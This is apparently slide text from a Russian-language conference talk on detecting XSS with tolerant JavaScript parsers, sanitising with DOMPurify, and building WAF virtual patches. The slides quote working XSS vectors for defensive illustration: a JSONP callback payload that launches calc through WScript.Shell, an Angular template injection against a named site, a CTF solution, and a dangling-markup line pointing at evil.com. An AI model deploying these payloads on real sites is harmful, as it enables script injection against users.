Ariya Hidayat. On-the-fly JavaScript Syntax Node Inspection.
142. ЗаголовокПримеры обнаруживаемых векторов
http://friendfeed.com/api/feed/public?callback=var WshShell=new
ActiveXObject("WScript.Shell");WshShell.Exec("calc");//
Internet Explorer Reflected File Download
Reflected XSS on developer.uber.com via Angular template injection
ES6
alert`1`
https://developer.uber.com/docs/deep-
linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescript
or(_.__proto__,$).value,0,"alert(1)")()}}zzzz
143. ЗаголовокТолерантность к ошибкам
)},{0:prompt(1
Prompt.ml Challenge Hidden Level 4
function escape(input) {
// You know the rules and so do I
input = input.replace(/"/g, '');
return '<body onload="think.out.of.the.box(' + input + ')">';
}
return '<body onload="think.out.of.the.box()},{0:prompt(1)">';
"… the solution might work for some older versions of Chrome, while for others, a
different vector would be needed…"
145. Заголовок
Используем толерантный к ошибкам парсер (Acorn loose parser)
Это приводит к неизбежному росту числа ложных срабатываний
• CallExpression: 123(1+1)
Ограничиваются правила толерантности парсера
Толерантность к ошибкам
А. Перцев, Д. Колегов. Эвристический метод обнаружения DOM-based XSS с
использованием толерантных синтаксических анализаторов
147. ЗаголовокDOM и DOMParser
DOMParser – интерфейс для парсинга и сериализации DOM
var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >';
var p = new DOMParser();
var d = p.parseFromString(s, 'text/html');
console.log(d.body.innerHTML);
// IE 10
// <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"="">
// FF
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
// Chrome
// <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
148. Заголовок
"DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for
HTML, MathML and SVG"
Адрес проекта
https://github.com/cure53/DOMPurify
Особенности
• Точный механизм
• Инструмент для разработчиков
• Удаление вредоносного и запрещенного кода из HTML / MathML / SVG
• Поддерживает механизм хуков
DOMPurify
150. ЗаголовокЧто может DOMPurify
Предотвращать атаки XSS (в том числе для jQuery)
var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789';
var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']});
clean; //123456789
var dirty = '<img src=x name=createElement><img src=y id=createElement>';
var clean = DOMPurify.sanitize(dirty);
clean; // "<img src="x"><img src="y">"
var dirty = '<img src="http://evil.com/log.cgi?';
var clean = DOMPurify.sanitize(dirty);
clean; // ""
Предотвращать атаки DOM Clobbering
Предотвращать атаки Dangling Markup Injection
151. ЗаголовокDOMPurify для WAF
function isXSS(s) {
var isClean = true;
DOMPurify.sanitize(s);
if (DOMPurify.removed.length > 0)) {
return !isClean;
}
return isClean;
}
ε, dompurify.removed(x) ≠ 0
x, dompurify.removed(x) = 0
isXSS(x) =
154. Заголовок
Виртуальный патч – то, что предотвращает использование
обнаруженной уязвимости к атаке
• SAST
• DAST
Особенности
• Использование механизма правил, а не сигнатур
• Возможно использование сложных алгоритмов защиты (CSRF, IDOR)
Виртуальный патчинг
Ryan Barnett. WAF Virtual Patching Challenge
155. Заголовок
Знать как не должно быть: необходимые и достаточные условия
наличия уязвимости
Знать как есть: доказать наличие этих условий в анализируемом
коде защищаемого приложения
Устранить хотя бы одно из необходимых условий путем
изменения исходного кода защищаемого приложения
Как сгенерировать патч
В. Кочетков. Автоматическая генерация патчей для уязвимого
исходного кода
156. Заголовок
Знать как не должно быть: необходимые и достаточные условия
наличия уязвимости
Знать как есть: доказать наличие этих условий в защищаемом
приложении
Сделать невозможным выполнение хотя бы одного из
необходимых условий путем изменения запросов к
защищаемому приложению
Как сгенерировать виртуальный патч
157. Заголовок
• Средствами xAST выполняется поиск уязвимостей веб-
приложения
• По найденным уязвимостям создается отчет
• Отчет содержит перечень найденных уязвимостей и
автоматически сгенерированные эксплойты
• По полученным эксплойтам генерируются сигнатуры и итоговые
правила виртуальных патчей
Метод защиты
164. Заголовок
• Виртальный патчинг здесь неэффективен
• Из-за неизвестного преобразования нет возможности сообщить
WAF информацию о том, какие значения должны принимать оба
параметра запроса для атаки
• Более того, из-за неизвестного преобразования не сработают и
все другие подходы
Метод защиты
167. ЗаголовокCopyrights
В презентации использованы следующие материалы:
В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума?
Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript.
А. Петухов. Обзор ограничений современных технологий в области ИБ.
I. Markovic. HTTP Parameter Contamination.
I. Ristic. Protocol-Level Evasaion of Web Application Firewalls.
Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications.
D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC
S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory
S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them